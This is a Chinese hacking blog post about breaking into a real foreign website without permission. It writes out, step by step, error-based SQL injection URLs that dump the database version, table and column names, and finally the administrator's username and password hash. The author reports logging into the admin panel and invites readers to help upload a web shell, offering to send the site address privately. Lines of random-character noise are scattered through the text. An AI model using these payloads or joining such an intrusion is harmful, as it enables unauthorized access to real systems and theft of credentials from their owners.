对国外站的伪静态注入

admin

近一直在学习数据库方面的知识，一直在钻研PHP的一些高级注入语法，感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。

首先找到网站后台，加了个admin,后台出来了

) a1 ?- c% i) [8 h4 U! Y

' F6 E% C! x0 G0 b: A) h/ M# m

然后看了下网站，发现貌似都是html静态网页，但是通过图片链接发现应该是伪静态，于是在后面加了个 ',报错了，初步判断可以注入
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg

从报错语句中我们可以判断出存在frame_board_conference 表，知道存在frame_board_conference，可以方便我们后面的注入。这里我用的是错误回显注入。

首先查下数据库相关信息。

www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—

6 X/ D) U( i. w0 s9 S
, y! q* Q, g5 y2 l0 f/ x1 D6 t0 A0 X2 L3 }
& S. @$ Y/ Q/ K) w5 w3 A& F
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
5 x. [# X. |6 i# j0 @. o: d! C

' |# S7 Z' I% I5 o
( v1 K* |8 |# u+ W) b
: Y9 ?7 U# v3 {% x可以看到数据库版本为5.0.32，存在information_schema表，可以进一步的注入。

然后我们查表

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))--

得到管理员表段frame_administrator


http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg

/ q( {+ T3 G. B; e' y1 Y
+ D  C% x. B: U4 G$ H2 \6 Q# Z

查字段

http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
9 l# G/ w4 F6 ^) H% x
/ r8 ~) S% u- h' L# Y$ d# B2 v
) {% x5 }8 B- p3 {' }/ U
. O# F% Z. N% {  H. ?

得到userID，userPass字段

最后

http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
/ d& l' e" Z3 o1 l

) T, _! y$ x! _( s
: K" K* o# C% F: Y* n

得到最终结果admin eb0a191797624dd3a48fa681d3061212

解密后成功进入后台，但是在获得shell的过程中出了点问题，可以穿php但是貌似无法解析，不知道什么原因，本人很菜，在这里希望大牛有兴趣的话帮忙拿下shell，感激不尽。Pm我，我把网址发给你。